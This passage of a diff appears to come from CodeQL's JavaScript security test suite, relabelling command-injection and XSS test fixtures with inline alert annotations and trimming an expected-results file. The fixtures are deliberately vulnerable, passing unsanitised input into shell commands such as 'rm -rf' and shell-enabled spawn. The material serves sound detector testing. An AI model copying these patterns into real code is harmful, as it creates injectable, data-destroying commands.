 	var sanitized = "'" + name.replace(new RegExp("\'", unknownFlags()), "'\\''") + "'"
-	cp.exec("rm -rf " + sanitized); // OK -- Most likely should be okay and not flagged to reduce false positives.
+	cp.exec("rm -rf " + sanitized); // OK - Most likely should be okay and not flagged to reduce false positives.
 }
diff --git a/javascript/ql/test/query-tests/Security/CWE-078/UnsafeShellCommandConstruction/lib/lib2.js b/javascript/ql/test/query-tests/Security/CWE-078/UnsafeShellCommandConstruction/lib/lib2.js
index db1ecd02413f..9c427622c770 100644
--- a/javascript/ql/test/query-tests/Security/CWE-078/UnsafeShellCommandConstruction/lib/lib2.js
+++ b/javascript/ql/test/query-tests/Security/CWE-078/UnsafeShellCommandConstruction/lib/lib2.js
@@ -1,9 +1,9 @@
 var cp = require("child_process")
 
-module.exports = function (name) {
-	cp.exec("rm -rf " + name); // NOT OK - is imported from main module.
+module.exports = function (name) { // $ Source
+	cp.exec("rm -rf " + name); // $ Alert Sink - is imported from main module.
 };
 
-module.exports.foo = function (name) {
-	cp.exec("rm -rf " + name); // NOT OK - is imported from main module.
+module.exports.foo = function (name) { // $ Source
+	cp.exec("rm -rf " + name); // $ Alert Sink - is imported from main module.
 }; 
\ No newline at end of file
diff --git a/javascript/ql/test/query-tests/Security/CWE-078/UnsafeShellCommandConstruction/lib/other.js b/javascript/ql/test/query-tests/Security/CWE-078/UnsafeShellCommandConstruction/lib/other.js
index b107ac03d7ae..1f512e8c3817 100644
--- a/javascript/ql/test/query-tests/Security/CWE-078/UnsafeShellCommandConstruction/lib/other.js
+++ b/javascript/ql/test/query-tests/Security/CWE-078/UnsafeShellCommandConstruction/lib/other.js
@@ -1,5 +1,5 @@
 var cp = require("child_process")
 
 module.exports = function (name) {
-	cp.exec("rm -rf " + name); // OK, is not exported to a main-module. 
+	cp.exec("rm -rf " + name); // OK - is not exported to a main-module.
 };
\ No newline at end of file
diff --git a/javascript/ql/test/query-tests/Security/CWE-078/UnsafeShellCommandConstruction/lib/subLib/amdSub.js b/javascript/ql/test/query-tests/Security/CWE-078/UnsafeShellCommandConstruction/lib/subLib/amdSub.js
index a594c2182392..e268f47c4e20 100644
--- a/javascript/ql/test/query-tests/Security/CWE-078/UnsafeShellCommandConstruction/lib/subLib/amdSub.js
+++ b/javascript/ql/test/query-tests/Security/CWE-078/UnsafeShellCommandConstruction/lib/subLib/amdSub.js
@@ -1,5 +1,5 @@
 const cp = require("child_process");
 
-module.exports = function (name) {
-	cp.exec("rm -rf " + name); // NOT OK - this function is exported from `amd.js`
+module.exports = function (name) { // $ Source
+	cp.exec("rm -rf " + name); // $ Alert Sink - this function is exported from `amd.js`
 };
\ No newline at end of file
diff --git a/javascript/ql/test/query-tests/Security/CWE-078/UnsafeShellCommandConstruction/lib/subLib/index.js b/javascript/ql/test/query-tests/Security/CWE-078/UnsafeShellCommandConstruction/lib/subLib/index.js
index 6e7d3498723d..0b1abc951286 100644
--- a/javascript/ql/test/query-tests/Security/CWE-078/UnsafeShellCommandConstruction/lib/subLib/index.js
+++ b/javascript/ql/test/query-tests/Security/CWE-078/UnsafeShellCommandConstruction/lib/subLib/index.js
@@ -1,15 +1,15 @@
 var cp = require("child_process")
 
-module.exports = function (name) {
-	cp.exec("rm -rf " + name); // NOT OK - functions exported as part of a submodule are also flagged.
+module.exports = function (name) { // $ Source
+	cp.exec("rm -rf " + name); // $ Alert Sink - functions exported as part of a submodule are also flagged.
 };
 
-module.exports.foo = function (name) {
-	cp.exec("rm -rf " + name); // NOT OK - this is being called explicitly from child_process-test.js
+module.exports.foo = function (name) { // $ Source
+	cp.exec("rm -rf " + name); // $ Alert Sink - this is being called explicitly from child_process-test.js
 };
 
 module.exports.amd = require("./amd.js");
 
-module.exports.arrToShell = function (cmd, arr) {
-    cp.spawn("echo", arr, {shell: true}); // NOT OK
+module.exports.arrToShell = function (cmd, arr) { // $ Source
+    cp.spawn("echo", arr, {shell: true}); // $ Alert
 }
\ No newline at end of file
diff --git a/javascript/ql/test/query-tests/Security/CWE-078/UnsafeShellCommandConstruction/lib/subLib2/compiled-file.ts b/javascript/ql/test/query-tests/Security/CWE-078/UnsafeShellCommandConstruction/lib/subLib2/compiled-file.ts
index 1e945f15e724..e6b7a10bacf6 100644
--- a/javascript/ql/test/query-tests/Security/CWE-078/UnsafeShellCommandConstruction/lib/subLib2/compiled-file.ts
+++ b/javascript/ql/test/query-tests/Security/CWE-078/UnsafeShellCommandConstruction/lib/subLib2/compiled-file.ts
@@ -1,5 +1,5 @@
 var cp = require("child_process")
 
-export default function (name) {
-    cp.exec("rm -rf " + name); // NOT OK - the "files" directory points to this file.
+export default function (name) { // $ Source
+    cp.exec("rm -rf " + name); // $ Alert Sink - the "files" directory points to this file.
 }
diff --git a/javascript/ql/test/query-tests/Security/CWE-078/UnsafeShellCommandConstruction/lib/subLib2/special-file.js b/javascript/ql/test/query-tests/Security/CWE-078/UnsafeShellCommandConstruction/lib/subLib2/special-file.js
index c46fed331815..853e144a0d62 100644
--- a/javascript/ql/test/query-tests/Security/CWE-078/UnsafeShellCommandConstruction/lib/subLib2/special-file.js
+++ b/javascript/ql/test/query-tests/Security/CWE-078/UnsafeShellCommandConstruction/lib/subLib2/special-file.js
@@ -1,5 +1,5 @@
 var cp = require("child_process")
 
-module.exports = function (name) {
-	cp.exec("rm -rf " + name); // NOT OK - the "files" directory points to this file.
+module.exports = function (name) { // $ Source
+	cp.exec("rm -rf " + name); // $ Alert Sink - the "files" directory points to this file.
 };
\ No newline at end of file
diff --git a/javascript/ql/test/query-tests/Security/CWE-078/UnsafeShellCommandConstruction/lib/subLib3/my-file.ts b/javascript/ql/test/query-tests/Security/CWE-078/UnsafeShellCommandConstruction/lib/subLib3/my-file.ts
index 9fa88413cc88..f28c157a5ead 100644
--- a/javascript/ql/test/query-tests/Security/CWE-078/UnsafeShellCommandConstruction/lib/subLib3/my-file.ts
+++ b/javascript/ql/test/query-tests/Security/CWE-078/UnsafeShellCommandConstruction/lib/subLib3/my-file.ts
@@ -1,5 +1,5 @@
 var cp = require("child_process")
 
-module.exports = function (name) {
-	cp.exec("rm -rf " + name); // NOT OK - functions exported as part of a submodule are also flagged.
+module.exports = function (name) { // $ Source
+	cp.exec("rm -rf " + name); // $ Alert Sink - functions exported as part of a submodule are also flagged.
 };
diff --git a/javascript/ql/test/query-tests/Security/CWE-078/UnsafeShellCommandConstruction/lib/subLib4/index.js b/javascript/ql/test/query-tests/Security/CWE-078/UnsafeShellCommandConstruction/lib/subLib4/index.js
index 820349c5c62f..505f4e7af78a 100644
--- a/javascript/ql/test/query-tests/Security/CWE-078/UnsafeShellCommandConstruction/lib/subLib4/index.js
+++ b/javascript/ql/test/query-tests/Security/CWE-078/UnsafeShellCommandConstruction/lib/subLib4/index.js
@@ -3,6 +3,6 @@ const dispatch = {
   POST: require("./subsub"),
 };
 
-module.exports.foo = function (name, type) {
+module.exports.foo = function (name, type) { // $ Source
   dispatch[type](name);
 };
diff --git a/javascript/ql/test/query-tests/Security/CWE-078/UnsafeShellCommandConstruction/lib/subLib4/subsub.js b/javascript/ql/test/query-tests/Security/CWE-078/UnsafeShellCommandConstruction/lib/subLib4/subsub.js
index 952288a82cef..b8da58006c7c 100644
--- a/javascript/ql/test/query-tests/Security/CWE-078/UnsafeShellCommandConstruction/lib/subLib4/subsub.js
+++ b/javascript/ql/test/query-tests/Security/CWE-078/UnsafeShellCommandConstruction/lib/subLib4/subsub.js
@@ -1,5 +1,5 @@
 const cp = require("child_process")
 
 module.exports = function (name) {
-	cp.exec("rm -rf " + name); // NOT OK - functions exported as part of a submodule are also flagged.
+	cp.exec("rm -rf " + name); // $ Alert Sink - functions exported as part of a submodule are also flagged.
 };
diff --git a/javascript/ql/test/query-tests/Security/CWE-078/UselessUseOfCat/UselessUseOfCat.expected b/javascript/ql/test/query-tests/Security/CWE-078/UselessUseOfCat/UselessUseOfCat.expected
index 1a561b8fc416..820d8af4767d 100644
--- a/javascript/ql/test/query-tests/Security/CWE-078/UselessUseOfCat/UselessUseOfCat.expected
+++ b/javascript/ql/test/query-tests/Security/CWE-078/UselessUseOfCat/UselessUseOfCat.expected
@@ -78,7 +78,7 @@ options
 | uselesscat.js:86:1:86:75 | execFil ... utf8'}) | uselesscat.js:86:57:86:74 | {encoding: 'utf8'} |
 | uselesscat.js:100:1:100:56 | execFil ... ptions) | uselesscat.js:100:42:100:55 | unknownOptions |
 | uselesscat.js:111:1:111:51 | spawn(' ... it'] }) | uselesscat.js:111:14:111:50 | { stdio ... rit'] } |
-| uselesscat.js:136:17:138:2 | execSyn ... tf8'\\n}) | uselesscat.js:136:51:138:1 | { // NO ... utf8'\\n} |
+| uselesscat.js:136:17:138:2 | execSyn ... tf8'\\n}) | uselesscat.js:136:51:138:1 | { // $  ... utf8'\\n} |
 | uselesscat.js:147:1:147:47 | shelljs ... utf8'}) | uselesscat.js:147:29:147:46 | {encoding: 'utf8'} |
 | uselesscat.js:151:1:151:48 | cspawn( ... tf8' }) | uselesscat.js:151:28:151:47 | { encoding: 'utf8' } |
 | uselesscat.js:156:1:156:35 | cspawn( ... tf8' }) | uselesscat.js:156:15:156:34 | { encoding: 'utf8' } |
diff --git a/javascript/ql/test/query-tests/Security/CWE-078/UselessUseOfCat/uselesscat.js b/javascript/ql/test/query-tests/Security/CWE-078/UselessUseOfCat/uselesscat.js
index 9654b26dec03..6e62a1655420 100644
--- a/javascript/ql/test/query-tests/Security/CWE-078/UselessUseOfCat/uselesscat.js
+++ b/javascript/ql/test/query-tests/Security/CWE-078/UselessUseOfCat/uselesscat.js
@@ -7,21 +7,21 @@ var spawnSync = child_process.spawnSync;
 var fs = require('fs');
 var app = express();
 
-exec("cat foo/bar", function (err, out) {}); // NOT OK
+exec("cat foo/bar", function (err, out) {}); // $ Alert
 
-exec("cat /proc/" + id + "/status", function (err, out) { // NOT OK
+exec("cat /proc/" + id + "/status", function (err, out) { // $ Alert
 	console.log(out);
 });
 
-execSync('cat /proc/cpuinfo').toString(); // NOT OK.
+execSync('cat /proc/cpuinfo').toString(); // $ Alert
 
-execSync(`cat ${newpath}`) // NOT OK
+execSync(`cat ${newpath}`) // $ Alert
 
 execSync('cat package.json | wc -l'); // OK - pipes!
 
-execSync('cat /proc/cpuinfo /foo/bar').toString(); // OK multiple files.
+execSync('cat /proc/cpuinfo /foo/bar').toString(); // OK - multiple files.
 
-execSync(`cat ${newpath} /foo/bar`).toString(); // OK multiple files.
+execSync(`cat ${newpath} /foo/bar`).toString(); // OK - multiple files.
 
 exec(`cat ${newpath} | grep foo`, function (err, out) { }) // OK - pipes
 
@@ -29,73 +29,73 @@ execSync(`cat ${newpath}`, {uid: 1000}) // OK - non trivial options
 
 exec('cat *.js | wc -l', { cwd: './' }, function (err, out) { }); // OK - wildcard and pipes
 
-execSync(`cat foo/bar/${newpath}`); // NOT OK ("encoding" is used EXACTLY the same way in fs.readFileSync)
+execSync(`cat foo/bar/${newpath}`); // $ Alert - "encoding" is used EXACTLY the same way in fs.readFileSync
 
-execSync(`cat foo/bar/${newpath}`, {encoding: 'utf8'}); // NOT OK ("encoding" is used EXACTLY the same way in fs.readFileSync)
+execSync(`cat foo/bar/${newpath}`, {encoding: 'utf8'}); // $ Alert - "encoding" is used EXACTLY the same way in fs.readFileSync
 
-execSync("/bin/cat /proc/cpuinfo", { uid: 1000, gid: 1000, encoding: 'utf8'}); // OK (fs.readFileSync cannot emulate uid / gid))
+execSync("/bin/cat /proc/cpuinfo", { uid: 1000, gid: 1000, encoding: 'utf8'}); // OK - (fs.readFileSync cannot emulate uid / gid))
 
-execSync('cat /proc/cpuinfo > foo/bar/baz').toString(); // OK.
+execSync('cat /proc/cpuinfo > foo/bar/baz').toString();
 
-execSync(`cat ${newpath} > ${destpath}`).toString(); // OK.
+execSync(`cat ${newpath} > ${destpath}`).toString();
 
-execSync(`cat ${files.join(' ')} > ${outFile}`); // OK
+execSync(`cat ${files.join(' ')} > ${outFile}`);
 
-execSync(`cat ${files.join(' ')}`); // OK  - but flagged - not just a simple file read [INCONSISTENCY]
+execSync(`cat ${files.join(' ')}`); // $ SPURIOUS: Alert - not just a simple file read
 
 exec("cat /proc/cpuinfo | grep name"); // OK - pipes
 
 execSync(`cat ${newpath} | ${othertool}`); // OK - pipes
 
 function cat(file) {
-	return execSync('cat ' + file).toString(); // NOT OK
+	return execSync('cat ' + file).toString(); // $ Alert
 }
 
-execSync("sh -c 'cat " + newpath + "'"); // NOT OK - but not flagged [INCONSISTENCY]
+execSync("sh -c 'cat " + newpath + "'"); // $ MISSING: Alert
 
 var execFile = child_process.execFile;
 var execFileSync = child_process.execFileSync;
 
-execFile('/bin/cat', [ 'pom.xml' ], function(error, stdout, stderr ) { // NOT OK
+execFile('/bin/cat', [ 'pom.xml' ], function(error, stdout, stderr ) { // $ Alert
   // Not using stderr
   console.log(stdout);
 });
 
-execFile('/bin/cat', [ 'pom.xml' ], function(error, stdout, stderr ) { // OK. - stderr is used.
+execFile('/bin/cat', [ 'pom.xml' ], function(error, stdout, stderr ) { // OK - stderr is used.
   console.log(stderr); 
 });
 
 
-execFile('/bin/cat', [ 'pom.xml' ],  {encoding: 'utf8'}, function(error, stdout, stderr ) { // NOT OK
+execFile('/bin/cat', [ 'pom.xml' ],  {encoding: 'utf8'}, function(error, stdout, stderr ) { // $ Alert
   // Not using stderr
   console.log(stdout);
 });
 
-execFileSync('/bin/cat', [ 'pom.xml' ],  {encoding: 'utf8'}); // NOT OK
+execFileSync('/bin/cat', [ 'pom.xml' ],  {encoding: 'utf8'}); // $ Alert
 
-execFileSync('/bin/cat', [ 'pom.xml' ]);  // NOT OK
+execFileSync('/bin/cat', [ 'pom.xml' ]);  // $ Alert
 
 var opts = {encoding: 'utf8'};
-execFileSync('/bin/cat', [ 'pom.xml' ],  opts); // NOT OK
+execFileSync('/bin/cat', [ 'pom.xml' ],  opts); // $ Alert
 
 var anOptsFileNameThatIsTooLongToBePrintedByToString = {encoding: 'utf8'};
-execFileSync('/bin/cat', [ 'pom.xml' ],  anOptsFileNameThatIsTooLongToBePrintedByToString); // NOT OK
+execFileSync('/bin/cat', [ 'pom.xml' ],  anOptsFileNameThatIsTooLongToBePrintedByToString); // $ Alert
 
-execFileSync('/bin/cat', [ 'pom.xml' ],  {encoding: 'someEncodingValueThatIsCompletelyBogusAndTooLongForToString'}); // NOT OK
+execFileSync('/bin/cat', [ 'pom.xml' ],  {encoding: 'someEncodingValueThatIsCompletelyBogusAndTooLongForToString'}); // $ Alert
 
-execFileSync('/bin/cat', [ "foo/" + newPath + "bar" ],  {encoding: 'utf8'}); // NOT OK
+execFileSync('/bin/cat', [ "foo/" + newPath + "bar" ],  {encoding: 'utf8'}); // $ Alert
 
-execSync('cat /proc/cpuinfo' + foo).toString(); // NOT OK.
+execSync('cat /proc/cpuinfo' + foo).toString(); // $ Alert
 
-execFileSync('/bin/cat', [ `foo/bar/${newpath}` ]); // NOT OK
+execFileSync('/bin/cat', [ `foo/bar/${newpath}` ]); // $ Alert
 
 execFileSync('node', [ `foo/bar/${newpath}` ]); // OK - not a call to cat
 
-exec("cat foo/bar", function (err, out) {}); // NOT OK
+exec("cat foo/bar", function (err, out) {}); // $ Alert
 
-exec("cat foo/bar", (err, out) => {console.log(out)}); // NOT OK
+exec("cat foo/bar", (err, out) => {console.log(out)}); // $ Alert
 
-exec("cat foo/bar", (err, out) => doSomethingWith(out)); // NOT OK
+exec("cat foo/bar", (err, out) => doSomethingWith(out)); // $ Alert
 
 execFileSync('/bin/cat', [ 'pom.xml' ],  unknownOptions); // OK - unknown options.
 
@@ -118,13 +118,13 @@ spawn('cat', { stdio: ['pipe', stdin, 'inherit'] }); // OK - Non trivial use. (B
   cat.stdout.on('end', () => res.end());
 })();
 
-var dead = exec("cat foo/bar", (err, out) => {console.log(out)}); // NOT OK
+var dead = exec("cat foo/bar", (err, out) => {console.log(out)}); // $ Alert
 
-var notDead = exec("cat foo/bar", (err, out) => {console.log(out)}); // OK
+var notDead = exec("cat foo/bar", (err, out) => {console.log(out)});
 console.log(notDead);
 
 (function () {
-  var dead = exec("cat foo/bar", (err, out) => {console.log(out)}); // NOT OK
+  var dead = exec("cat foo/bar", (err, out) => {console.log(out)}); // $ Alert
 
   someCall(
 	exec("cat foo/bar", (err, out) => {console.log(out)}) // OK - non-trivial use of returned proccess.
@@ -133,34 +133,34 @@ console.log(notDead);
   return exec("cat foo/bar", (err, out) => {console.log(out)}); // OK - non-trivial use of returned proccess.
 })();
 
-const stdout2 = execSync('cat /etc/dnsmasq.conf', { // NOT OK.
+const stdout2 = execSync('cat /etc/dnsmasq.conf', { // $ Alert
   encoding: 'utf8'
 });
 
-exec('/bin/cat', function (e, s) {});  // OK
+exec('/bin/cat', function (e, s) {});
 
-spawn("cat") // OK  
+spawn("cat")
 
 
 var shelljs = require("shelljs");
-shelljs.exec("cat foo/bar", (err, out) => {console.log(out)}); // NOT OK
-shelljs.exec("cat foo/bar", {encoding: 'utf8'}); // NOT OK
-shelljs.exec("cat foo/bar", {encoding: 'utf8'}, (err, out) => {console.log(out)}); // NOT OK
+shelljs.exec("cat foo/bar", (err, out) => {console.log(out)}); // $ Alert
+shelljs.exec("cat foo/bar", {encoding: 'utf8'}); // $ Alert
+shelljs.exec("cat foo/bar", {encoding: 'utf8'}, (err, out) => {console.log(out)}); // $ Alert
 
 let cspawn = require('cross-spawn');
-cspawn('cat', ['foo/bar'], { encoding: 'utf8' }); // NOT OK
-cspawn('cat', ['foo/bar'], { encoding: 'utf8' }, (err, out) => {console.log(out)}); // NOT OK
-cspawn('cat', ['foo/bar'], (err, out) => {console.log(out)}); // NOT OK
-cspawn('cat', ['foo/bar']); // NOT OK
-cspawn('cat', (err, out) => {console.log(out)}); // OK
-cspawn('cat', { encoding: 'utf8' }); // OK
+cspawn('cat', ['foo/bar'], { encoding: 'utf8' }); // $ Alert
+cspawn('cat', ['foo/bar'], { encoding: 'utf8' }, (err, out) => {console.log(out)}); // $ Alert
+cspawn('cat', ['foo/bar'], (err, out) => {console.log(out)}); // $ Alert
+cspawn('cat', ['foo/bar']); // $ Alert
+cspawn('cat', (err, out) => {console.log(out)});
+cspawn('cat', { encoding: 'utf8' });
  
-let myResult = cspawn.sync('cat', ['foo/bar']); // NOT OK
-let myResult = cspawn.sync('cat', ['foo/bar'], { encoding: 'utf8' }); // NOT OK
+let myResult = cspawn.sync('cat', ['foo/bar']); // $ Alert
+let myResult = cspawn.sync('cat', ['foo/bar'], { encoding: 'utf8' }); // $ Alert
 
 var execmod = require('exec');
-execmod("cat foo/bar", (err, out) => {console.log(out)}); // NOT OK
-execmod("cat foo/bar", {encoding: 'utf8'}); // NOT OK
-execmod("cat foo/bar", {encoding: 'utf8'}, (err, out) => {console.log(out)}); // NOT OK
+execmod("cat foo/bar", (err, out) => {console.log(out)}); // $ Alert
+execmod("cat foo/bar", {encoding: 'utf8'}); // $ Alert
+execmod("cat foo/bar", {encoding: 'utf8'}, (err, out) => {console.log(out)}); // $ Alert
 
   
\ No newline at end of file
diff --git a/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/ConsistencyDomBasedXss.ql b/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/ConsistencyDomBasedXss.ql
deleted file mode 100644
index 87b27a68998c..000000000000
--- a/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/ConsistencyDomBasedXss.ql
+++ /dev/null
@@ -1,9 +0,0 @@
-import javascript
-deprecated import utils.test.ConsistencyChecking
-import semmle.javascript.security.dataflow.DomBasedXssQuery
-
-deprecated class ConsistencyConfig extends ConsistencyConfiguration {
-  ConsistencyConfig() { this = "ConsistencyConfig" }
-
-  override DataFlow::Node getAnAlert() { DomBasedXssFlow::flow(_, result) }
-}
diff --git a/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/Xss.expected b/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/Xss.expected
index eb46033824f4..7de1561f79e8 100644
--- a/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/Xss.expected
+++ b/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/Xss.expected
@@ -1,657 +1,243 @@
-nodes
-| addEventListener.js:1:43:1:47 | event | semmle.label | event |
-| addEventListener.js:2:20:2:24 | event | semmle.label | event |
-| addEventListener.js:2:20:2:29 | event.data | semmle.label | event.data |
-| addEventListener.js:5:43:5:48 | data | semmle.label | data |
-| addEventListener.js:5:43:5:48 | {data} | semmle.label | {data} |
-| addEventListener.js:6:20:6:23 | data | semmle.label | data |
-| addEventListener.js:10:21:10:25 | event | semmle.label | event |
-| addEventListener.js:12:24:12:28 | event | semmle.label | event |
-| addEventListener.js:12:24:12:33 | event.data | semmle.label | event.data |
-| angular2-client.ts:24:44:24:71 | \\u0275getDOM ... ().href | semmle.label | \\u0275getDOM ... ().href |
-| angular2-client.ts:26:44:26:69 | this.ro ... .params | semmle.label | this.ro ... .params |
-| angular2-client.ts:26:44:26:73 | this.ro ... ams.foo | semmle.label | this.ro ... ams.foo |
-| angular2-client.ts:27:44:27:74 | this.ro ... yParams | semmle.label | this.ro ... yParams |
-| angular2-client.ts:27:44:27:78 | this.ro ... ams.foo | semmle.label | this.ro ... ams.foo |
-| angular2-client.ts:28:44:28:71 | this.ro ... ragment | semmle.label | this.ro ... ragment |
-| angular2-client.ts:29:44:29:82 | this.ro ... ('foo') | semmle.label | this.ro ... ('foo') |
-| angular2-client.ts:30:44:30:87 | this.ro ... ('foo') | semmle.label | this.ro ... ('foo') |
-| angular2-client.ts:32:46:32:59 | map.get('foo') | semmle.label | map.get('foo') |
-| angular2-client.ts:35:44:35:74 | this.ro ... 1].path | semmle.label | this.ro ... 1].path |
-| angular2-client.ts:36:44:36:80 | this.ro ... ameters | semmle.label | this.ro ... ameters |
-| angular2-client.ts:36:44:36:82 | this.ro ... eters.x | semmle.label | this.ro ... eters.x |
-| angular2-client.ts:37:44:37:91 | this.ro ... et('x') | semmle.label | this.ro ... et('x') |
-| angular2-client.ts:38:44:38:89 | this.ro ... .params | semmle.label | this.ro ... .params |
-| angular2-client.ts:38:44:38:91 | this.ro ... arams.x | semmle.label | this.ro ... arams.x |
-| angular2-client.ts:40:44:40:58 | this.router.url | semmle.label | this.router.url |
-| angular2-client.ts:42:45:42:59 | this.router.url | semmle.label | this.router.url |
-| angular2-client.ts:43:75:43:105 | this.ro ... yParams | semmle.label | this.ro ... yParams |
-| angular2-client.ts:43:75:43:109 | this.ro ... ams.foo | semmle.label | this.ro ... ams.foo |
-| angular2-client.ts:47:44:47:76 | routeSn ... ('foo') | semmle.label | routeSn ... ('foo') |
-| angular-tempate-url.js:9:26:9:45 | Cookie.get("unsafe") | semmle.label | Cookie.get("unsafe") |
-| angular-tempate-url.js:13:30:13:31 | ev | semmle.label | ev |
-| angular-tempate-url.js:14:26:14:27 | ev | semmle.label | ev |
-| angular-tempate-url.js:14:26:14:32 | ev.data | semmle.label | ev.data |
-| classnames.js:7:31:7:84 | `<span  ... <span>` | semmle.label | `<span  ... <span>` |
-| classnames.js:7:47:7:69 | classNa ... w.name) | semmle.label | classNa ... w.name) |
-| classnames.js:7:58:7:68 | window.name | semmle.label | window.name |
-| classnames.js:8:31:8:85 | `<span  ... <span>` | semmle.label | `<span  ... <span>` |
-| classnames.js:8:47:8:70 | classNa ... w.name) | semmle.label | classNa ... w.name) |
-| classnames.js:8:59:8:69 | window.name | semmle.label | window.name |
-| classnames.js:9:31:9:85 | `<span  ... <span>` | semmle.label | `<span  ... <span>` |
-| classnames.js:9:47:9:70 | classNa ... w.name) | semmle.label | classNa ... w.name) |
-| classnames.js:9:59:9:69 | window.name | semmle.label | window.name |
-| classnames.js:10:45:10:55 | window.name | semmle.label | window.name |
-| classnames.js:11:31:11:79 | `<span  ... <span>` | semmle.label | `<span  ... <span>` |
-| classnames.js:11:47:11:64 | unsafeStyle('foo') | semmle.label | unsafeStyle('foo') |
-| classnames.js:13:31:13:83 | `<span  ... <span>` | semmle.label | `<span  ... <span>` |
-| classnames.js:13:47:13:68 | safeSty ... w.name) | semmle.label | safeSty ... w.name) |
-| classnames.js:13:57:13:67 | window.name | semmle.label | window.name |
-| classnames.js:15:31:15:78 | `<span  ... <span>` | semmle.label | `<span  ... <span>` |
-| classnames.js:15:47:15:63 | clsx(window.name) | semmle.label | clsx(window.name) |
-| classnames.js:15:52:15:62 | window.name | semmle.label | window.name |
-| classnames.js:17:32:17:79 | `<span  ... <span>` | semmle.label | `<span  ... <span>` |
-| classnames.js:17:48:17:64 | clsx(window.name) | semmle.label | clsx(window.name) |
-| classnames.js:17:53:17:63 | window.name | semmle.label | window.name |
-| clipboard.ts:8:11:8:51 | html | semmle.label | html |
-| clipboard.ts:8:18:8:51 | clipboa ... /html') | semmle.label | clipboa ... /html') |
-| clipboard.ts:15:25:15:28 | html | semmle.label | html |
-| clipboard.ts:24:23:24:58 | e.clipb ... /html') | semmle.label | e.clipb ... /html') |
-| clipboard.ts:29:19:29:54 | e.clipb ... /html') | semmle.label | e.clipb ... /html') |
-| clipboard.ts:33:19:33:68 | e.origi ... /html') | semmle.label | e.origi ... /html') |
-| clipboard.ts:43:15:43:55 | html | semmle.label | html |
-| clipboard.ts:43:22:43:55 | clipboa ... /html') | semmle.label | clipboa ... /html') |
-| clipboard.ts:50:29:50:32 | html | semmle.label | html |
-| clipboard.ts:71:13:71:62 | droppedHtml | semmle.label | droppedHtml |
-| clipboard.ts:71:27:71:62 | e.clipb ... /html') | semmle.label | e.clipb ... /html') |
-| clipboard.ts:73:29:73:39 | droppedHtml | semmle.label | droppedHtml |
-| clipboard.ts:98:15:98:54 | html | semmle.label | html |
-| clipboard.ts:98:22:98:54 | dataTra ... /html') | semmle.label | dataTra ... /html') |
-| clipboard.ts:99:23:99:26 | html | semmle.label | html |
-| custom-element.js:5:26:5:36 | window.name | semmle.label | window.name |
-| d3.js:4:12:4:22 | window.name | semmle.label | window.name |
-| d3.js:11:15:11:24 | getTaint() | semmle.label | getTaint() |
-| d3.js:12:20:12:29 | getTaint() | semmle.label | getTaint() |
-| d3.js:14:20:14:29 | getTaint() | semmle.label | getTaint() |
-| d3.js:21:15:21:24 | getTaint() | semmle.label | getTaint() |
-| dates.js:9:9:9:69 | taint | semmle.label | taint |
-| dates.js:9:17:9:69 | decodeU ... ing(1)) | semmle.label | decodeU ... ing(1)) |
-| dates.js:9:36:9:55 | window.location.hash | semmle.label | window.location.hash |
-| dates.js:9:36:9:68 | window. ... ring(1) | semmle.label | window. ... ring(1) |
-| dates.js:11:31:11:70 | `Time i ... aint)}` | semmle.label | `Time i ... aint)}` |
-| dates.js:11:42:11:68 | dateFns ...  taint) | semmle.label | dateFns ...  taint) |
-| dates.js:11:63:11:67 | taint | semmle.label | taint |
-| dates.js:12:31:12:73 | `Time i ... aint)}` | semmle.label | `Time i ... aint)}` |
-| dates.js:12:42:12:71 | dateFns ...  taint) | semmle.label | dateFns ...  taint) |
-| dates.js:12:66:12:70 | taint | semmle.label | taint |
-| dates.js:13:31:13:72 | `Time i ... time)}` | semmle.label | `Time i ... time)}` |
-| dates.js:13:42:13:70 | dateFns ... )(time) | semmle.label | dateFns ... )(time) |
-| dates.js:13:59:13:63 | taint | semmle.label | taint |
-| dates.js:16:31:16:69 | `Time i ... aint)}` | semmle.label | `Time i ... aint)}` |
-| dates.js:16:42:16:67 | moment( ... (taint) | semmle.label | moment( ... (taint) |
-| dates.js:16:62:16:66 | taint | semmle.label | taint |
-| dates.js:18:31:18:66 | `Time i ... aint)}` | semmle.label | `Time i ... aint)}` |
-| dates.js:18:42:18:64 | datefor ...  taint) | semmle.label | datefor ...  taint) |
-| dates.js:18:59:18:63 | taint | semmle.label | taint |
-| dates.js:21:31:21:68 | `Time i ... aint)}` | semmle.label | `Time i ... aint)}` |
-| dates.js:21:42:21:66 | dayjs(t ... (taint) | semmle.label | dayjs(t ... (taint) |
-| dates.js:21:61:21:65 | taint | semmle.label | taint |
-| dates.js:30:9:30:69 | taint | semmle.label | taint |
-| dates.js:30:17:30:69 | decodeU ... ing(1)) | semmle.label | decodeU ... ing(1)) |
-| dates.js:30:36:30:55 | window.location.hash | semmle.label | window.location.hash |
-| dates.js:30:36:30:68 | window. ... ring(1) | semmle.label | window. ... ring(1) |
-| dates.js:37:31:37:84 | `Time i ... aint)}` | semmle.label | `Time i ... aint)}` |
-| dates.js:37:42:37:82 | dateFns ...  taint) | semmle.label | dateFns ...  taint) |
-| dates.js:37:77:37:81 | taint | semmle.label | taint |
-| dates.js:38:31:38:84 | `Time i ... aint)}` | semmle.label | `Time i ... aint)}` |
-| dates.js:38:42:38:82 | luxon.f ...  taint) | semmle.label | luxon.f ...  taint) |
-| dates.js:38:77:38:81 | taint | semmle.label | taint |
-| dates.js:39:31:39:86 | `Time i ... aint)}` | semmle.label | `Time i ... aint)}` |
-| dates.js:39:42:39:84 | moment. ...  taint) | semmle.label | moment. ...  taint) |
-| dates.js:39:79:39:83 | taint | semmle.label | taint |
-| dates.js:40:31:40:84 | `Time i ... aint)}` | semmle.label | `Time i ... aint)}` |
-| dates.js:40:42:40:82 | dayjs.f ...  taint) | semmle.label | dayjs.f ...  taint) |
-| dates.js:40:77:40:81 | taint | semmle.label | taint |
-| dates.js:46:9:46:69 | taint | semmle.label | taint |
-| dates.js:46:17:46:69 | decodeU ... ing(1)) | semmle.label | decodeU ... ing(1)) |
-| dates.js:46:36:46:55 | window.location.hash | semmle.label | window.location.hash |
-| dates.js:46:36:46:68 | window. ... ring(1) | semmle.label | window. ... ring(1) |
-| dates.js:48:31:48:90 | `Time i ... aint)}` | semmle.label | `Time i ... aint)}` |
